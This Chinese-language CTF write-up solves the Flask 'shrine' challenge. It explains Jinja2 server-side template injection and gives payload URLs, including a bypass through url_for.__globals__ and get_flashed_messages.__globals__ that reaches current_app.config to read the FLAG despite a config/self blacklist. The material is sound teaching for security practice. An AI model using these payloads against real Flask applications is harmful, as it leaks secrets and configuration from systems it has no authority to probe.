赞
踩
打开题目地址:
这是Python的flask渲染模板
python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换,比如{{1+1}}会被解析成2。
源代码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
app = flask.Flask(__name__)
用当前模块的路径初始化app,__name__是系统变量即程序主模块或者包的名字,该变量指的是本py文件的文件名。
app.config['FLAG'] = os.environ.pop('FLAG')
Flask提供了很多种方式来加载配置。比如,你可以像在字典中添加一个键值对一样来设置一个配置:app.config[‘FLAG’]就是当前app下一个变量名为’FLAG’的配置,它的值等于os.environ.pop(‘FLAG’)移除环境变量中的键名为’FLAG’的值。
@app.route('/')
def index():
return open(__file__).read()
访问http://111.200.241.244:62038/,则执行index()函数打开当前文件,读取文件内容,返回文件源码
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
#黑名单
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
访问http://111.200.241.244:62038/shrine/,则调用flask.render_template_string函数返回渲染模板字符串safe_jinja(shrine);
之后shrine(shrine)函数、safe_jinja(s)函数:先去掉s字符串变量中的“(”和“)”左右括号,之后
''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
这句代码的意思就是:
for c in blacklist:
'{{% set {}=None%}}'.format(c)
我们可以执行一下代码看一下它的作用:
blacklist = ['config', 'self']
for c in blacklist:
print('{{% set {}=None%}}'.format(c))
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]))
我们就可以发现这一行代码的作用就是返回{% set config=None%}{% set self=None%}字符串,给flask.render_template_string函数经过渲染将config、self参数的值设为None,之后返回浏览器显示。
访问shrine路径下,构造Python模板注入:
http://111.200.241.244:63403/shrine/{{1+1}}
可以看到是存在Python模板注入漏洞的
之后查看config、self配置:
http://111.200.241.244:63403/shrine/{{config}}
http://111.200.241.244:63403/shrine/{{self}}
可以看到和我们开始分析的代码逻辑一致,config、self参数的值已经被设为None了
但是我们依旧可以利用其他Python内置函数,但要注意“()”被过滤了,带“()”的函数都无法执行。
Python中常用于ssti的魔术方法
__class__
:返回类型所属的对象
__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__
:返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的
__subclasses__
:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__
:类的初始化方法
__globals__
:对包含函数全局变量的字典的引用
__builtins__
:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
在Flask框架渲染模板时,可以直接在模板中使用的模板变量及函数:config、request、url_for()、get_flashed_messages()。
例如查看所有基类:
http://111.200.241.244:63403/shrine/{{''.__class__.__mro__}}
查看所有基本类的子类:
http://111.200.241.244:54842/shrine/{{[].__class__.__base__.__subclasses__()}}
带有括号所以执行.__subclasses__()
函数失败
再看源代码,这道题的关键在于:
app.config['FLAG'] = os.environ.pop('FLAG')
我们在这道题中的目的是读取配置文件中变量名为’FLAG’的值,也就是环境变量中的键名为’FLAG’的值,但是config、self参数的值设为None,无法直接查看
我们可以使用flask框架的url_for函数:from flask import url_for。
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS、JavaScript等)。只要在你的包中或是模块的所在目录中创建一个名为static的文件夹,在应用中使用 /static即可访问。
所以我们可以用url_for函数来查看当前包中所有的静态文件,其中肯定就包括了配置文件。
先查看url_for函数的全局变量的字典的引用:
http://111.200.241.244:54842/shrine/{{url_for.__globals__}}
其中’current_app’: <Flask ‘app’>键值对,current_app意思应该是当前app,也可以直接查看当前’current_app’的值:
http://111.200.241.244:54842/shrine/{{url_for.__globals__['current_app']}}
当前’current_app’的值就是<Flask ‘app’>
而我们的目的就是读取app.config[‘FLAG’],那我们就可以查看当前app下的所有配置键值对即配置变量名及其对应的值:
http://111.200.241.244:54842/shrine/{{url_for.__globals__['current_app'].config}}
可以看到配置变量’FLAG’对应的值是flag{shrine_is_good_ssti}。
也可以直接查看配置变量’FLAG’的值:
http://111.200.241.244:54434/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
得到flag{shrine_is_good_ssti}
返回之前在Flask中通过flash()函数传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages()方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
flask闪现是基于flask内置的session的,利用浏览器的session缓存闪现信息。之前的每次flash()函数都会缓存一个信息,之后再通过get_flashed_messages()函数访问缓存的信息。
flash()函数有三种形式缓存数据:
(1)缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
模板取出闪现内容:{% with messages = get_flashed_messages() %}
(2)缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
模板取出闪现内容:{% with messages = get_flashed_messages(with_categories=true) %}
(3)缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)
模板取出闪现内容:{% with messages = get_flashed_messages(category_filter=[“username”])
所以我们可以通过get_flashed_messages()来获取所有缓存的闪现内容:
http://111.200.241.244:54434/shrine/{{get_flashed_messages.__globals__}}
也可以查看到当前app的值
之后就是跟之前类似的
查看当前app的值:
http://111.200.241.244:54434/shrine/{{get_flashed_messages.__globals__['current_app']}}
那我们就可以查看当前app下的所有配置键值对即配置变量名及其对应的值:
http://111.200.241.244:54434/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
也可以直接查看配置变量’FLAG’的值:
http://111.200.241.244:54434/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
得到flag{shrine_is_good_ssti}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。